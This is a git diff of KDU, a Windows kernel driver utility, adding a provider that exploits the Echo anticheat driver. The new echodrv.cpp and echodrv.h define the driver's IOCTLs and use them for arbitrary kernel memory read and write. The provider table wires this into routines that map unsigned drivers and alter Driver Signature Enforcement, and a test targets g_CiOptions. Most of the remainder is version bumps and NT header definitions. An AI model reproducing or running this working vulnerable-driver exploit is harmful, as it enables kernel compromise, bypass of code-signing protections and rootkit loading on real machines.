*Source\Tanikaze\drv\SysDrv3S.bin +bbf8656bd4cf0d65a7bf38bb6e5fb9edc7faf25e010ad643f434f3377f82e72e *Source\Tanikaze\drv\WinRing0x64.bin bf86c929ee9ee2bb88187e1d82bcddfe83375c73e6787b83a7e414dff691e35b *Source\Utils\readme.txt c776bc97ee2fbe48d3e148bb37c887862e6de212d4391d6df9b5f149e40ed223 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.sln c4a28bc43a63a40ff2d8699fa261ee1ced6783d199043484ea7921e8d078ea08 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.vcxproj diff --git a/README.md b/README.md index 33d0d9c..5806a33 100644 --- a/README.md +++ b/README.md @@ -143,6 +143,7 @@ You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware | 36 | Pavel Yosifovich | KExplore | Kernel Explorer | Original | Undefined | | | 37 | Pavel Yosifovich | KObjExp | Kernel Object Explorer | Original | Undefined | | | 38 | Pavel Yosifovich | KRegExp | Kernel Registry Explorer | Original | Undefined | | +| 39 | Inspect Element LTD | EchoDrv | Echo AntiCheat (spyware) | Original | Undefined | | ###### *At commit time, data maybe inaccurate. @@ -207,6 +208,7 @@ Using this program might crash your computer with BSOD. Compiled binary and sour * How to exploit a vulnerable windows driver, https://github.com/stong/CVE-2020-15368 * CVE-2022-3699, https://github.com/alfarom256/CVE-2022-3699 * LOLDrivers, https://www.loldrivers.io +* ECHOH NO, https://github.com/kite03/echoac-poc/ # Wormhole drivers code diff --git a/Source/Hamakaze/KDU.vcxproj b/Source/Hamakaze/KDU.vcxproj index 7b09964..211af83 100644 --- a/Source/Hamakaze/KDU.vcxproj +++ b/Source/Hamakaze/KDU.vcxproj @@ -140,6 +140,7 @@ + @@ -193,6 +194,7 @@ + diff --git a/Source/Hamakaze/KDU.vcxproj.filters b/Source/Hamakaze/KDU.vcxproj.filters index 083a4db..0480bb1 100644 --- a/Source/Hamakaze/KDU.vcxproj.filters +++ b/Source/Hamakaze/KDU.vcxproj.filters @@ -198,6 +198,9 @@ Source Files\idrv + + Source Files\idrv + @@ -371,6 +374,9 @@ Source Files\idrv + + Source Files\idrv + diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index 1f5d692..859a613 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -5,7 +5,7 @@ WindowsLocalDebugger - -list + -prv 39 -map c:\install\dummy.sys WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/diag.cpp b/Source/Hamakaze/diag.cpp index 64502c2..d24e449 100644 --- a/Source/Hamakaze/diag.cpp +++ b/Source/Hamakaze/diag.cpp @@ -4,9 +4,9 @@ * * TITLE: DIAG.CPP * -* VERSION: 1.31 +* VERSION: 1.33 * -* DATE: 09 Apr 2023 +* DATE: 16 Jul 2023 * * Hamakaze system diagnostics component. * @@ -649,7 +649,7 @@ VOID KDUBacktraceByHandle( UNICODE_STRING usLsass; union { - PSYSTEM_PROCESSES_INFORMATION Processes; + PSYSTEM_PROCESS_INFORMATION Process; PBYTE ListRef; } List; @@ -688,13 +688,13 @@ VOID KDUBacktraceByHandle( do { List.ListRef += nextEntryDelta; - if (RtlEqualUnicodeString(&usLsass, &List.Processes->ImageName, TRUE)) { - cid.UniqueProcess = List.Processes->UniqueProcessId; + if (RtlEqualUnicodeString(&usLsass, &List.Process->ImageName, TRUE)) { + cid.UniqueProcess = List.Process->UniqueProcessId; TracePsHandle(&cid, SystemRangeStart, pvModules, FALSE); break; } - nextEntryDelta = List.Processes->NextEntryDelta; + nextEntryDelta = List.Process->NextEntryDelta; } while (nextEntryDelta); diff --git a/Source/Hamakaze/idrv/echodrv.cpp b/Source/Hamakaze/idrv/echodrv.cpp new file mode 100644 index 0000000..b69291f --- /dev/null +++ b/Source/Hamakaze/idrv/echodrv.cpp @@ -0,0 +1,192 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2023 +* +* TITLE: ECHODRV.CPP +* +* VERSION: 1.33 +* +* DATE: 16 Jul 2023 +* +* Inspect Element LTD spyware (anticheat) driver interface. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +// +// Based on https://github.com/kite03/echoac-poc/tree/main/PoC +// + +#include "global.h" +#include "idrv/echodrv.h" + +HANDLE gEchoDrvClientHandle = NULL; + +/* +* EchoDrvReadWriteVirtualMemory +* +* Purpose: +* +* Read/Write virtual memory via EchoDrv. +* +*/ +BOOL WINAPI EchoDrvReadWriteVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes, + _In_ BOOL DoWrite +) +{ + ECHODRV_COPYVM_REQUEST request; + + RtlSecureZeroMemory(&request, sizeof(request)); + + if (DoWrite) { + request.FromAddress = Buffer; + request.ToAddress = (PVOID)VirtualAddress; + } + else { + request.FromAddress = (PVOID)VirtualAddress; + request.ToAddress = Buffer; + } + + request.BufferSize = (SIZE_T)NumberOfBytes; + request.ProcessHandle = gEchoDrvClientHandle; + + return supCallDriver(DeviceHandle, + IOCTL_ECHODRV_COPYVM, + &request, + sizeof(request), + &request, + sizeof(request)); +} + +/* +* EchoDrvWriteVirtualMemory +* +* Purpose: +* +* Write virtual memory via EchoDrv. +* +*/ +BOOL WINAPI EchoDrvWriteVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes +) +{ + return EchoDrvReadWriteVirtualMemory(DeviceHandle, + VirtualAddress, + Buffer, + NumberOfBytes, + TRUE); +} + +/* +* EchoDrvReadVirtualMemory +* +* Purpose: +* +* Read virtual memory via EchoDrv. +* +*/ +BOOL WINAPI EchoDrvReadVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes +) +{ + return EchoDrvReadWriteVirtualMemory(DeviceHandle, + VirtualAddress, + Buffer, + NumberOfBytes, + FALSE); +} + +/* +* EchoDrvRegisterDriver +* +* Purpose: +* +* Echo client registration routine. +* +*/ +BOOL WINAPI EchoDrvRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param) +{ + UNREFERENCED_PARAMETER(Param); + + BOOL bResult; + ECHODRV_REGISTER regRequest; + ECHODRV_VALIDATE_PROCESS procRequest; + + RtlSecureZeroMemory(®Request, sizeof(regRequest)); + + // + // Send empty buffer so this crapware driver will remember client pid to it global variable. + // Theorerically this BS driver should do some crypto next-gen calculations but life is + // not working as authors expected. + // + + bResult = supCallDriver(DeviceHandle, + IOCTL_ECHODRV_REGISTER, + ®Request, + sizeof(regRequest), + ®Request, + sizeof(regRequest)); + + if (bResult) { + + // + // Only to make MmCopyVirtualMemory work as it expects process object as param. + // + // However we are working with kernel VA and KernelMode processor mode is set by AC. + // + RtlSecureZeroMemory(&procRequest, sizeof(procRequest)); + + procRequest.ProcessId = GetCurrentProcessId(); + procRequest.DesiredAccess = GENERIC_ALL; + + bResult = supCallDriver(DeviceHandle, + IOCTL_ECHODRV_OPEN_PROCESS, + &procRequest, + sizeof(procRequest), + &procRequest, + sizeof(procRequest)); + + if (bResult) + gEchoDrvClientHandle = procRequest.ProcessHandle; + + } + + return bResult; +} + +/* +* EchoDrvUnregisterDriver +* +* Purpose: +* +* Echo unregister routine. +* +*/ +BOOL WINAPI EchoDrvUnregisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param) +{ + UNREFERENCED_PARAMETER(DeviceHandle); + UNREFERENCED_PARAMETER(Param); + + if (gEchoDrvClientHandle) + NtClose(gEchoDrvClientHandle); + + return TRUE; +} diff --git a/Source/Hamakaze/idrv/echodrv.h b/Source/Hamakaze/idrv/echodrv.h new file mode 100644 index 0000000..adee8c8 --- /dev/null +++ b/Source/Hamakaze/idrv/echodrv.h @@ -0,0 +1,86 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2022 +* +* TITLE: ECHODRV.H +* +* VERSION: 1.33 +* +* DATE: 16 Jul 2023 +* +* Inspect Element LTD spyware (anticheat) driver interface header. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +// +// Echo.ac driver uses a ridiculous IOCTL scheme which could be a side effect of intense copy-paste. +// + +#define ECHODRV_DEVICE_TYPE (DWORD)0x9E6A +#define ECHODRV_INTERFACE_TYPE_1 (DWORD)0xE622 +#define ECHODRV_INTERFACE_TYPE_2 (DWORD)0x60A2 + +#define ECHODRV_FUNCTION_REGISTER (DWORD)0x165 +#define ECHODRV_FUNCTION_OPEN_PROCESS (DWORD)0x92 +#define ECHODRV_FUNCTION_COPYVM (DWORD)0x849 + +#define IOCTL_ECHODRV_REGISTER \ + CTL_CODE(ECHODRV_DEVICE_TYPE, ECHODRV_FUNCTION_REGISTER, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9E6A0594 + +#define IOCTL_ECHODRV_OPEN_PROCESS \ + CTL_CODE(ECHODRV_INTERFACE_TYPE_1, ECHODRV_FUNCTION_OPEN_PROCESS, METHOD_BUFFERED, FILE_READ_ACCESS) //0xE6224248 + +#define IOCTL_ECHODRV_COPYVM \ + CTL_CODE(ECHODRV_INTERFACE_TYPE_2, ECHODRV_FUNCTION_COPYVM, METHOD_BUFFERED, FILE_READ_ACCESS) //0x60A26124 + +typedef struct _ECHODRV_REGISTER { + _In_ PUCHAR pvSignature; + _In_ SIZE_T cbSignature; + _Out_ BOOL bSuccess; + _Out_ DWORD UniqCode; //0x1000 for call +} ECHODRV_REGISTER, * PECHODRV_REGISTER; + +typedef struct _ECHODRV_VALIDATE_PROCESS { + _In_ DWORD ProcessId; + _In_ ACCESS_MASK DesiredAccess; + _Out_ HANDLE ProcessHandle; + _Out_ BOOL bSuccess; + _Out_ DWORD UniqCode; //0x1001 for call +} ECHODRV_VALIDATE_PROCESS, * PECHODRV_VALIDATE_PROCESS; + +typedef struct _ECHODRV_COPYVM_REQUEST { + _In_ HANDLE ProcessHandle; + _In_ PVOID FromAddress; + _In_ PVOID ToAddress; + _In_ SIZE_T BufferSize; + _Out_ SIZE_T NumberOfBytesCopied; + _Out_ BOOL bSuccess; + _Out_ DWORD UniqCode; //0x1002 for call +} ECHODRV_COPYVM_REQUEST, * PECHODRV_COPY_REQUEST; + +BOOL WINAPI EchoDrvRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param); + +BOOL WINAPI EchoDrvUnregisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param); + +BOOL WINAPI EchoDrvReadVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI EchoDrvWriteVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index b5af61e..7d28945 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -4,9 +4,9 @@ * * TITLE: KDUPLIST.H * -* VERSION: 1.32 +* VERSION: 1.33 * -* DATE: 10 Jun 2023 +* DATE: 16 Jul 2023 * * Providers global list. * @@ -43,6 +43,7 @@ #include "idrv/lenovo.h" #include "idrv/hp.h" #include "idrv/zodiacon.h" +#include "idrv/echodrv.h" // // Victims public array. @@ -1018,6 +1019,30 @@ static KDU_PROVIDER g_KDUProviders[] = (provReadPhysicalMemory)ZdcReadPhysicalMemory, (provWritePhysicalMemory)ZdcWritePhysicalMemory, + (provValidatePrerequisites)NULL + }, + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)EchoDrvRegisterDriver, + (provUnregisterDriver)EchoDrvUnregisterDriver, + (provPreOpenDriver)NULL, + (provPostOpenDriver)NULL, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE, + + (provReadKernelVM)EchoDrvReadVirtualMemory, + (provWriteKernelVM)EchoDrvWriteVirtualMemory, + + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)NULL, + (provWritePhysicalMemory)NULL, + (provValidatePrerequisites)NULL } }; diff --git a/Source/Hamakaze/res/SB_SMBUS_SDK.bin b/Source/Hamakaze/res/SB_SMBUS_SDK.bin index 8308b06c6cbd93db8896abcbcdaa301b98106392..86665d9038deb8ae51997c25028936fb9de6e98f 100644 GIT binary patch delta 21 dcmX@o!F;5HnQKGC26Ova=Hcz38@a5G003e;2)qCQ delta 21 dcmX@o!F;5HnQKGC26O!vK}L(qH*#4W0RUxy2`&Ht diff --git a/Source/Hamakaze/res/Taigei32.bin b/Source/Hamakaze/res/Taigei32.bin index 66aa218df3ff4ae9f73ce75ad9d6088f2bb215f3..4c18f863dae8d0210b1de2a9e01169ca18f95383 100644 GIT binary patch delta 19 acmca9c2kUNL&FC1{As4)?V%gF{J8;A*$09E delta 19 bcmca9c2kUNL&FAh`%M8xi_151`EvsRQyd4P diff --git a/Source/Hamakaze/resource.rc b/Source/Hamakaze/resource.rc index ef14f14..48a9a7d 100644 --- a/Source/Hamakaze/resource.rc +++ b/Source/Hamakaze/resource.rc @@ -51,8 +51,8 @@ END // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,3,2,2306 - PRODUCTVERSION 1,3,2,2306 + FILEVERSION 1,3,3,2307 + PRODUCTVERSION 1,3,3,2307 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -69,12 +69,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility" - VALUE "FileVersion", "1.3.2.2306" + VALUE "FileVersion", "1.3.3.2307" VALUE "InternalName", "Hamakaze.exe" VALUE "LegalCopyright", "Copyright (C) 2020 - 2023 KDU Project" VALUE "OriginalFilename", "Hamakaze.exe" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.3.2.2306" + VALUE "ProductVersion", "1.3.3.2307" END END BLOCK "VarFileInfo" diff --git a/Source/Hamakaze/sup.cpp b/Source/Hamakaze/sup.cpp index 7927c4b..3541b21 100644 --- a/Source/Hamakaze/sup.cpp +++ b/Source/Hamakaze/sup.cpp @@ -4,9 +4,9 @@ * * TITLE: SUP.CPP * -* VERSION: 1.32 +* VERSION: 1.33 * -* DATE: 10 Jun 2023 +* DATE: 16 Jul 2023 * * Program global support routines. * @@ -3050,33 +3050,6 @@ NTSTATUS supFilterDeviceIoControl( return ntStatus; } -/* -* supGetHalQuerySystemInformation -* -* Purpose: -* -* Return address of HalQuerySystemInformation in HalDispatchTable structure. -* -*/ -ULONG_PTR supGetHalQuerySystemInformation( - _In_ ULONG_PTR NtOsLoadedBase, - _In_ ULONG_PTR NtOsMappedBase -) -{ - ULONG_PTR base = NtOsLoadedBase, address, result = 0; - - address = (ULONG_PTR)GetProcAddress((HINSTANCE)NtOsMappedBase, "HalDispatchTable"); - if (address) { - - address += sizeof(ULONG_PTR); //skip aligned Version field - address = base + address - (ULONG_PTR)NtOsMappedBase; - result = address; - - } - - return result; -} - /* * supQueryPhysicalMemoryLayout * diff --git a/Source/Hamakaze/sup.h b/Source/Hamakaze/sup.h index 73adc75..eb6e1e9 100644 --- a/Source/Hamakaze/sup.h +++ b/Source/Hamakaze/sup.h @@ -4,9 +4,9 @@ * * TITLE: SUP.H * -* VERSION: 1.32 +* VERSION: 1.33 * -* DATE: 10 Jun 2023 +* DATE: 16 Jun 2023 * * Support routines header file. * @@ -361,10 +361,6 @@ NTSTATUS supFilterDeviceIoControl( _In_ ULONG OutBufferSize, _Out_opt_ PULONG BytesReturned); -ULONG_PTR supGetHalQuerySystemInformation( - _In_ ULONG_PTR NtOsLoadedBase, - _In_ ULONG_PTR NtOsMappedBase); - PCM_RESOURCE_LIST supQueryPhysicalMemoryLayout( VOID); diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index 09e1c27..499bf77 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -4,9 +4,9 @@ * * TITLE: TESTS.CPP * -* VERSION: 1.31 +* VERSION: 1.33 * -* DATE: 10 Apr 2023 +* DATE: 16 Jul 2023 * * KDU tests. * @@ -57,7 +57,7 @@ VOID KDUTestLoad() VOID KDUTestDSE(PKDU_CONTEXT Context) { - ULONG_PTR g_CiOptions = 0xfffff8077d239418;//need update + ULONG_PTR g_CiOptions = 0xfffff8044e039418;//need update ULONG_PTR oldValue = 0, newValue = 0x0, testValue = 0; KDU_PROVIDER* prov = Context->Provider; @@ -188,7 +188,7 @@ VOID KDUTest() // KDUTestLoad(); // TestSymbols(); - Context = KDUProviderCreate(38, + Context = KDUProviderCreate(39, FALSE, NT_WIN10_20H1, KDU_SHELLCODE_V1, diff --git a/Source/Hamakaze/wdksup.h b/Source/Hamakaze/wdksup.h index 6695cfd..8c51f27 100644 --- a/Source/Hamakaze/wdksup.h +++ b/Source/Hamakaze/wdksup.h @@ -4,9 +4,9 @@ * * TITLE: WDKSUP.H * -* VERSION: 1.31 +* VERSION: 1.33 * -* DATE: 08 Apr 2023 +* DATE: 16 Jul 2023 * * Header file for NT WDK definitions. * @@ -26,6 +26,8 @@ // Processor modes. // +#ifndef NTOS_RTL + typedef CCHAR KPROCESSOR_MODE; typedef enum _MODE { @@ -34,6 +36,8 @@ typedef enum _MODE { MaximumMode } MODE; +#endif + #define FIXED_UNICODE_STRING_LENGTH MAX_PATH typedef struct _FIXED_UNICODE_STRING { diff --git a/Source/Shared/consts.h b/Source/Shared/consts.h index e602a21..9a484bf 100644 --- a/Source/Shared/consts.h +++ b/Source/Shared/consts.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.32 +* VERSION: 1.33 * -* DATE: 10 Jun 2023 +* DATE: 16 Jul 2023 * * Global consts. * @@ -21,15 +21,15 @@ #define KDU_VERSION_MAJOR 1 #define KDU_VERSION_MINOR 3 -#define KDU_VERSION_REVISION 2 -#define KDU_VERSION_BUILD 2306 +#define KDU_VERSION_REVISION 3 +#define KDU_VERSION_BUILD 2307 #define KDU_MIN_NTBUILDNUMBER 0x1DB1 //Windows 7 SP1 #define KDU_MAX_NTBUILDNUMBER 0xFFFFFFFF //Undefined #define IPC_GET_HANDLE 0x1337 -#define KDU_SYNC_MUTANT 0x2306 +#define KDU_SYNC_MUTANT 0x2307 #define NT_REG_PREP L"\\Registry\\Machine" #define DRIVER_REGKEY L"%wS\\System\\CurrentControlSet\\Services\\%wS" @@ -141,6 +141,7 @@ #define IDR_KOBJEXP 140 #define IDR_KREGEXP 141 #define IDR_RESERVED8 142 +#define IDR_ECHODRV 143 // // Vulnerable drivers providers id @@ -184,6 +185,7 @@ #define KDU_PROVIDER_KEXPLORE 36 #define KDU_PROVIDER_KOBJEXP 37 #define KDU_PROVIDER_KREGEXP 38 +#define KDU_PROVIDER_ECHODRV 39 #define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL_NAL diff --git a/Source/Shared/ntos/ntos.h b/Source/Shared/ntos/ntos.h index bba4332..aa4b18b 100644 --- a/Source/Shared/ntos/ntos.h +++ b/Source/Shared/ntos/ntos.h @@ -5,9 +5,9 @@ * * TITLE: NTOS.H * -* VERSION: 1.210 +* VERSION: 1.218 * -* DATE: 11 Apr 2023 +* DATE: 13 Jul 2023 * * Common header file for the ntos API functions and definitions. * @@ -182,6 +182,12 @@ typedef PVOID PMEM_EXTENDED_PARAMETER; #define NtCurrentThreadToken() ((HANDLE)(LONG_PTR)-5) #define NtCurrentThreadEffectiveToken() ((HANDLE)(LONG_PTR)-6) //GetCurrentThreadEffectiveToken +enum _KPROCESSOR_MODE { + KernelMode = 0, + UserMode, + MaximumMode +}; + // // ntdef.h begin // @@ -739,12 +745,13 @@ typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { ULONG_PTR Reserved4; } SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; -typedef struct _SYSTEM_PROCESSES_INFORMATION { +typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryDelta; ULONG ThreadCount; - LARGE_INTEGER SpareLi1; - LARGE_INTEGER SpareLi2; - LARGE_INTEGER SpareLi3; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + ULONG NumberOfThreadsHighWatermark; + ULONGLONG CycleTime; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; @@ -754,11 +761,11 @@ typedef struct _SYSTEM_PROCESSES_INFORMATION { HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; - ULONG_PTR PageDirectoryBase; + ULONG_PTR UniqueProcessKey; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; - SYSTEM_THREAD_INFORMATION Threads[1]; -} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + SYSTEM_THREAD_INFORMATION Threads[1]; //not a part of this structure +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; typedef enum _SYSTEM_PROCESS_CLASSIFICATION { SystemProcessClassificationNormal, @@ -837,10 +844,10 @@ typedef struct _SYSTEM_PROCESS_INFORMATION_EXTENSION { ULONGLONG ProcessSequenceNumber; } SYSTEM_PROCESS_INFORMATION_EXTENSION, *PSYSTEM_PROCESS_INFORMATION_EXTENSION; -typedef struct _SYSTEM_PROCESSES_FULL_INFORMATION { - SYSTEM_PROCESSES_INFORMATION ProcessAndThreads; +typedef struct _SYSTEM_PROCESS_FULL_INFORMATION { + SYSTEM_PROCESS_INFORMATION ProcessAndThreads; SYSTEM_PROCESS_INFORMATION_EXTENSION ExtendedInfo; -} SYSTEM_PROCESSES_FULL_INFORMATION, *PSYSTEM_PROCESSES_FULL_INFORMATION; +} SYSTEM_PROCESS_FULL_INFORMATION, *PSYSTEM_PROCESS_FULL_INFORMATION; typedef struct _SYSTEM_PROCESS_ID_INFORMATION { HANDLE ProcessId; @@ -962,6 +969,10 @@ typedef struct _SYSTEM_BIGPOOL_INFORMATION { SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; } SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; +typedef struct _SYSTEM_FIRMWARE_PARTITION_INFORMATION { + UNICODE_STRING FirmwarePartition; // \Device\HarddiskX +} SYSTEM_FIRMWARE_PARTITION_INFORMATION, * PSYSTEM_FIRMWARE_PARTITION_INFORMATION; + typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { PCHAR SymbolicBackTrace; ULONG TraceCount; @@ -1028,7 +1039,7 @@ typedef enum _PROCESSINFOCLASS { ProcessMemoryAllocationMode = 46, ProcessGroupInformation = 47, ProcessTokenVirtualizationEnabled = 48, - ProcessOwnerInformation = 49, + ProcessConsoleHostProcess = 49, //ProcessOwnerInformation ProcessWindowInformation = 50, ProcessHandleInformation = 51, ProcessMitigationPolicy = 52, @@ -1172,6 +1183,18 @@ typedef struct _THREAD_BASIC_INFORMATION { LONG BasePriority; } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; +// taken from ph2(whatever) +typedef struct _THREAD_LAST_SYSCALL_INFORMATION { + PVOID FirstArgument; + USHORT SystemCallNumber; +#ifdef WIN64 + USHORT Pad[0x3]; // since REDSTONE2 +#else + USHORT Pad[0x1]; // since REDSTONE2 +#endif + ULONG64 WaitTime; +} THREAD_LAST_SYSCALL_INFORMATION, * PTHREAD_LAST_SYSCALL_INFORMATION; + typedef struct _THREAD_NAME_INFORMATION { UNICODE_STRING ThreadName; } THREAD_NAME_INFORMATION, * PTHREAD_NAME_INFORMATION; @@ -1214,8 +1237,8 @@ typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO { } PROCESS_HANDLE_TABLE_ENTRY_INFO, *PPROCESS_HANDLE_TABLE_ENTRY_INFO; typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION { - ULONG NumberOfHandles; - ULONG Reserved; + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1]; } PROCESS_HANDLE_SNAPSHOT_INFORMATION, *PPROCESS_HANDLE_SNAPSHOT_INFORMATION; @@ -1593,6 +1616,12 @@ typedef struct _PROCESS_WS_WATCH_INFORMATION_EX { ULONG_PTR Flags; } PROCESS_WS_WATCH_INFORMATION_EX, * PPROCESS_WS_WATCH_INFORMATION_EX; +typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION { + ULONG Version; + ULONG Reserved; + PVOID Callback; +} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, * PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION; + /* ** Processes END */ @@ -5629,6 +5658,93 @@ typedef struct _MEMORY_ENCLAVE_IMAGE_INFORMATION { UCHAR AuthorID[32]; } MEMORY_ENCLAVE_IMAGE_INFORMATION, * PMEMORY_ENCLAVE_IMAGE_INFORMATION; +typedef struct _MEMORY_WORKING_SET_BLOCK { + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#ifdef _WIN64 + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, * PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION { + ULONG_PTR NumberOfEntries; + _Field_size_(NumberOfEntries) MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, * PMEMORY_WORKING_SET_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_BLOCK { + union { + struct { + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 3; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; + ULONG_PTR Win32GraphicsProtection : 4; +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 28; +#endif + }; + struct { + ULONG_PTR Valid : 1; + ULONG_PTR Reserved0 : 14; + ULONG_PTR Shared : 1; + ULONG_PTR Reserved1 : 5; + ULONG_PTR PageTable : 1; + ULONG_PTR Location : 2; + ULONG_PTR Priority : 3; + ULONG_PTR ModifiedList : 1; + ULONG_PTR Reserved2 : 2; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 32; +#endif + } Invalid; + }; +} MEMORY_WORKING_SET_EX_BLOCK, * PMEMORY_WORKING_SET_EX_BLOCK; + +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION { + PVOID VirtualAddress; + union { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG_PTR Long; + } u1; +} MEMORY_WORKING_SET_EX_INFORMATION, * PMEMORY_WORKING_SET_EX_INFORMATION; + +#define MM_ZERO_ACCESS 0 // this value is not used. +#define MM_READONLY 1 +#define MM_EXECUTE 2 +#define MM_EXECUTE_READ 3 +#define MM_READWRITE 4 // bit 2 is set if this is writable. +#define MM_WRITECOPY 5 +#define MM_EXECUTE_READWRITE 6 +#define MM_EXECUTE_WRITECOPY 7 + +#define MM_NOCACHE 0x8 +#define MM_GUARD_PAGE 0x10 +#define MM_DECOMMIT 0x10 // NO_ACCESS, Guard page +#define MM_NOACCESS 0x18 // NO_ACCESS, Guard_page, nocache. +#define MM_UNKNOWN_PROTECTION 0x100 // bigger than 5 bits! + +#define MM_INVALID_PROTECTION ((ULONG)-1) // bigger than 5 bits! + +#define MM_PROTECTION_WRITE_MASK 4 +#define MM_PROTECTION_COPY_MASK 1 +#define MM_PROTECTION_OPERATION_MASK 7 // mask off guard page and nocache. +#define MM_PROTECTION_EXECUTE_MASK 2 + +#define MM_SECURE_DELETE_CHECK 0x55 + /* ** Virtual Memory END */ @@ -5674,8 +5790,6 @@ typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; #define RTL_MAX_DRIVE_LETTERS 32 #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 -#define GDI_MAX_HANDLE_COUNT 0x4000 //0xFFFF - // 32-bit definitions typedef struct _STRING32 { USHORT Length; @@ -6003,32 +6117,6 @@ typedef struct _PEB_LDR_DATA { HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; -typedef struct _GDI_HANDLE_ENTRY { - union - { - PVOID Object; - PVOID NextFree; - }; - 